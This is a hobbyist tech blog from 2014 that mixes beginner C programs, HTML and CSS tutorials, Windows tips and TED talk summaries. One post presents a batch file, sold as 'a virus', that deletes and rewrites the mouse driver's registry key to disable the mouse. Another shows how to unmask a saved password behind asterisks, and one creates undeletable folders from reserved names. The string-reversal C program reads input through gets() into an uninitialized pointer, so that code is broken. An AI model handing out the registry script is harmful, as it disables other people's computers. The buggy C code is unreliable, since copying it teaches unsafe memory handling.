Monday, 27 January 2014

Recursive function to find out the GCD of numbers.

Ques=> Recursive function to find out the GCD of numbers.

CODE=>

#include<stdio.h>
#include<conio.h>

int gcd(int x, int y)
{
int rem;
if(y==0)
return x;
else
{
rem=x%y;
return(gcd(y,rem));
}
}

void main()
{
int a,b,g;
//clrscr();
printf("Enter two numbers - ");
scanf("%d%d",&a,&b);
g=gcd(a,b);
printf("G.C.D of %d and %d is = %d",a,b,g);
getch();
}


OUTPUT=>




Write a recursive function to find out the reverse of a string using pointers. Eg. yashwant o/p; tnawhsay

QUES=>Write a recursive function to find out the reverse of a string using pointers. Eg. yashwant o/p; tnawhsay.

CODE=>

#include<stdio.h>
#include<conio.h>
#include<string.h>
void rev(char *a,int l);  
void main()
{
int l,i;
char *n;
clrscr();
printf("ENTER THE STRING:");
gets(n);
l=strlen(n);
rev(n,l);
getch();
}
void rev(char *a,int l)
{
if(l==0)
{
printf("%c",*(a+l));
}
else
{
printf("%c",*(a+l));
rev(a,l-1);
}

}

OUTPUT=>


Sunday, 19 January 2014

How To Remove All Your Google Web History?

                           


1.Visit your Google History page at https://www.google.com/history. Alternatively, you can click the gear icon  on the upper right corner of a search results page, and then go to Search history.

2. Click on the gear  icon again, and then go to Settings.
                            Settings

3 .Click on the delete all link. You'll be prompted for a confirmation. Click on Delete all again, and your entire search history will be deleted.

    

NOTE=>>  Click on the Turn off button on the Settings page to stop Google from storing your history again.

Friday, 10 January 2014

How To Get Password Behind Asterisk(*)

1.Open the browser and see the password written by user in asterisk(****).

2.Right click on password(Dots or asterisks) as shown in below image.

3.Then click on Inspect element.

4.Then change Password to text as shown in below picture.


5.Now it should look like this....


6.Now, you are done. You can see the password written in the form of text.


Tutorial 13: HTML CSS

CSS stands for Cascading Style Sheets and it is used to style HTML elements.


Styling HTML with CSS


CSS was introduced with HTML 4 to provide better ways to style HTML documents.
There are three ways by which you can add CSS to a HTML document, these are 
1.Inline - using the style attribute in HTML elements
2.Internal - using the <style> element in the <head> section
3.External - using an external CSS file.


Inline Styles


An inline style can be used if a unique style is to be applied to one single occurrence of an element.
To use inline styles, use the style attribute in the relevant tag. The style attribute can contain any CSS property.

EXAMPLE: This Ex shows how to change the text color and the left margin of a paragraph...

<p style="color:blue;margin-left:20px;">This is a paragraph.</p>


HTML Style Example - Background Color


Here you will see how to change the background color of an element using style sheets.

EXAMPLE:

<!DOCTYPE html>
<html>

<body style="background-color:yellow;">
<h2 style="background-color:red;">This is a heading</h2>
<p style="background-color:green;">This is a paragraph.</p>
</body>

</html>

OUTPUT :


HTML Style Example - Font, Color and Size


Here You will see how to change font,color and size of an HTML document with the help of stylesheets

EXAMPLE:

<!DOCTYPE html>
<html>

<body>
<h1 style="font-family:verdana;">A heading</h1>
<p style="font-family:arial;color:red;font-size:20px;">A paragraph.</p>
</body>

</html>

OUTPUT:

HTML Style Example - Text Alignment


The text-align property specifies the horizontal alignment of text in an element.

EXAMPLE:
<!DOCTYPE html>
<html>

<body>
<h1 style="text-align:center;">Center-aligned heading</h1>
<p>This is a paragraph.</p>
</body>

</html>

OUTPUT:




Internal Style Sheet


An internal style sheet can be used if one single document has a unique style. Internal styles are defined in the <head> section of an HTML page, by using the <style> tag, see the example,

EXAMPLE:

<head>
<style type="text/css">
body {background-color:yellow;}
p {color:blue;}
</style>
</head>


External Style Sheet


An external style sheet is ideal when the style is applied to many pages. With an external style sheet, you can change the look of an entire Web site by changing one file. Each page must link to the style sheet using the <link> tag. The <link> tag is placed inside the <head> section.

EXAMPLE:

<head>
<link rel="stylesheet" type="text/css" href="mystyle.css">
</head>




Tuesday, 7 January 2014

How To Make A virus That Disable Mouse

                            



1. Open your notepad and write down the following code....

rem ---------------------------------
rem Disable Mouse
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4h
rem ---------------------------------


2.Save the file as Virus.bat

3.Your done .....Now you have just created a virus to disable mouse.

Tutorial 12: HTML Head

The HTML <head> Element


The HTML head element contains all HTML tags elements which includes  <title>, <style>, <meta>, <link>, <script>, <noscript>, and <base>.

Elements inside <head> can include scripts, instruct the browser where to find style sheets, provide meta information, and more.


The HTML <title> Element


The title tag (<title>) displays the title of the HTML document.

The <title> element:
  • defines a title in the browser toolbar
  • provides a title for the page when it is added to favorites
  • displays a title for the page in search-engine results
EXAMPLE:

<!DOCTYPE html>
<html>
<head>
<title>Title of the document</title>
</head>

<body>
The content of the document......
</body>

</html>

OUTPUT IN BROWSER:



The HTML <link> Element


The <link> tag defines the relationship between a document and an external resource.
The <link> tag is most used to link to style sheets.

EXAMPLE:
<head>
<link rel="stylesheet" type="text/css" href="mystyle.css">
</head>


The HTML <style> Element


Inside the style tag of HTML, you can describe the styling and how the HTML document should look like.

EXAMPLE:

<head>
<style type="text/css">
body {background-color:yellow;}
p {color:blue;}
</style>
</head>

*This code will make the background color of document yellow and make the paragraph text color blue.


The HTML <meta> Element


Metadata is information about data.
The <meta> tag provides metadata about the HTML document. Metadata will not be displayed on the page, but will be machine parsable.
Meta elements are typically used to specify page description, keywords, author of the document, last modified, and other metadata.
The metadata can be used by browsers (how to display content or reload page), search engines (keywords), or other web services.
<meta> tags always go inside the <head> element.

USES OF <meta> ELEMENT

1.To define keywords for search engines.
eg=> <meta name="keywords" content="HTML TUTORIALS">

2.To define a description of your web page.
eg=> <meta name="description" content="Free tutorials on HTML and CSS">

3.To define the author of a page.
eg=>  <meta name="author" content="author name">

4.To Refresh document after a given time interval.
eg=> <meta http-equiv="refresh" content="50">

*The above code will refresh the page after every 50 seconds.



Sunday, 5 January 2014

How To Create Undeletable And Unrenamable Folders ?

  1. Go to Start and then Click on Run.
  2. Type cmd & hit enter.
  3. Remember you cannot create Undeletable & unrenamable folder in your root directory (i.e. where the windows is installed) ie you can't make this kind of folder in C: drive if you installed windows on C.
  4. Type D: or E: and hit enter.
  5. Type md con\ and hit enter (md - make directory)
  6. You may use other words such as aux, lpt1, lpt2, lpt3 up to lpt9 instead of con in above step.
  7. Open that directory, you will see the folder created of name con.
  8. Try to delete that folder or rename that folder windows will show the error message( like shown below).



How To Delete That Folder?

It is not possible to delete that folder manually but you can delete this folder by following steps:
  1. Open Command Prompt
  2. Type D: ( if u created this type of folder in D: drive) & hit enter
  3. Type rd con\ (rd - remove directory)
  4. Open that directory and the folder will not appear because it is removed.

Henry Evans and Chad Jenkins: Meet the robots for humanity

               
Paralyzed by a stroke, Henry Evans uses a telepresence robot to take the stage -- and show how new robotics, tweaked and personalized by a group called Robots for Humanity, help him live his life. He shows off a nimble little quadrotor drone, created by a team led by Chad Jenkins, that gives him the ability to navigate space -- to once again look around a garden, stroll a campus ... (Filmed at TEDxMidAtlantic.)

Tutorial 11: HTML Links

Links are found on many web pages. These allow users to go into different sites.Also, links can be inserted in a text using HTML codes. Now lets see how its done,

HTML Hyperlinks (Links)


The HTML <a> tag defines a hyperlink.

A hyperlink (or link) is a word, group of words, or image that you can click on to jump to another document.

When you move the cursor over a link in a Web page, the arrow will turn into a little hand.

The most important attribute of the <a> element is the href attribute, which indicates the link's destination.

By default, links will appear as follows in all browsers:
An unvisited link is underlined and blue
A visited link is underlined and purple
An active link is underlined and red

HTML Link Syntax


The general syntax for a link in HTML is defined as

<a href="URL">LINK TEXT</a>

Example

<a href="http://techprojects4u.blogspot.in/">Visit Techprojects4u</a>

OUTPUT ON BROWSER:

Visit Techprojects4u

Now, if you click on the text "Visit Techprojects4u" ,then you will be directed to page http://techprojects4u.blogspot.in/ .

NOTE: The "Link text" doesn't have to be text. It can be an image or any other HTML element.



HTML Links - The target Attribute


The target attribute specifies where to open the linked document.
The example below will open the linked document in a new browser window or a new tab.

EXAMPLE:

<a href="http://techprojects4u.blogspot.in/" target="_blank">Visit Techprojects4u</a>

The above code will open the link in a new tab.



Useful Note


Always add a trailing slash(/) to subfolder references. If you link like this: href="http://techprojects4u.blogspot.in/html", you will generate two requests to the server, the server will first add a slash to the address, and then create a new request like this: href="http://techprojects4u.blogspot.in/html/".




Tutorial 10: HTML Formatting

Before going into this tutorial, you need to know what is text formats.

This text is bold

This is italic text.

This is subscript and superscript


HTML Formatting Tags


HTML uses tags like <b> and <i> for formatting output, like bold or italic text.
These HTML tags are called formatting tags.

NOTE=> Often <strong> renders as <b>, and <em> renders as <i>.

However, there is a difference in the meaning of these tags:

<b> or <i> defines bold or italic text only.

<strong> or <em> means that you want the user to understands it as "important". Today, all major browsers render strong as bold and em as italics. However, if a browser one day wants to make a text highlighted with the strong feature, it might be cursive for example and not bold!



HTML Text Formatting Tags


TagDescription
<b>Defines bold text
<em>Defines emphasized text 
<i>Defines a part of text in an alternate voice or mood
<small>Defines smaller text
<strong>Defines important text
<sub>Defines subscripted text
<sup>Defines superscripted text
<ins>Defines inserted text
<del>Defines deleted text
<mark>Defines marked/highlighted text



HTML "Computer Output" Tags



TagDescription
<code>Defines computer code text
<kbd>Defines keyboard text 
<samp>Defines sample computer code
<var>Defines a variable
<pre>Defines preformatted text



HTML Citations, Quotations, and Definition Tags


TagDescription
<abbr>Defines an abbreviation or acronym
<address>Defines contact information for the author/owner of a document
<bdo>Defines the text direction
<blockquote>Defines a section that is quoted from another source
<q>Defines an inline (short) quotation
<cite>Defines the title of a work
<dfn>Defines a definition term


Saturday, 4 January 2014

How To Convert a Webpage To PDF File


1.Open the Google Chrome Browser on your PC .

2.Then go to the web page that you want to convert as a PDF.
(eg-> http://techprojects4u.blogspot.in/)


 3.Now press Ctrl+P on Windows PC or Command+P if you are on a Mac to Open the the Print dialog on Chrome Browser

4.Now Change the destination to “Save As PDF” and hit the save button.


 5.The current web page will instantly be downloaded as a PDF document. 

Pranav Mistry: The thrilling potential of SixthSense technology


 Pranav Mistry demos several tools that help the physical world interact with the world of data -- including a deep look at his SixthSense device and a new, paradigm-shifting paper "laptop." In an onstage Q&A, Mistry says he'll open-source the software behind SixthSense, to open its possibilities to all.


Vijay Kumar: Robots that fly ... and cooperate

 

In his lab at Penn, Vijay Kumar and his team build flying quadrotors, small, agile robots that swarm, sense each other, and form ad hoc teams -- for construction, surveying disasters and far more.






Tutorial 9: HTML Paragraphs

HTML Paragraphs


In HTML, paragraphs are defined with the <p> tag.

EXAMPLE:

<p>First paragraph</p>
<p>Second paragraph</p>


HTML Line Breaks


Use the <br> tag if you want a line break (a new line) without starting a new paragraph.

EXAMPLE:

<p>This is<br>a para<br>graph with line breaks</p>

OUTPUT IN BROWSER:

This is
a para
graph with line breaks


HTML Output - Useful Tips


You cannot be sure how HTML will be displayed. Large or small screens, and resized windows will create different results.
With HTML, you cannot change the output by adding extra spaces or extra lines in your HTML code.
The browser will remove extra spaces and extra lines when the page is displayed. Any number of lines count as one line, and any number of spaces count as one space.

Tutorial 8: HTML Headings

In HTML, headings are defined with <h1> to <h6> tags.
<h1> defines the most important heading while <h6> defines the least important heading.

EXAMPLE:

<h1>heading one</h1>
<h2>heading two</h2>
<h3>heading three</h3>


Headings Are Important


Use HTML headings for headings only. Don't use headings to make text BIG or bold.
Search engines use your headings to index the structure and content of your web pages.
H1 headings should be used as main headings, followed by H2 headings, then the less important H3 headings, and so on.


HTML Lines


To create a horizontal line in a HTML page, we use the tag <hr>.
The hr element can be used to separate content.

EXAMPLE:

<p>First paragraph</p>              
<hr>
<p>Second paragraph</p>
<hr>
<p>Third pragraph</p>

OUTPUT IN BROWSER:

First paragraph

Second paragraph

Third paragraph


HTML Comments


Comments can be inserted into the HTML code to make it more readable and understandable. Comments are ignored by the browser and are not displayed.

Comments are written like this:

<!-- COMMENT -->

NOTE:There is an exclamation point after the opening bracket, but not before the closing bracket.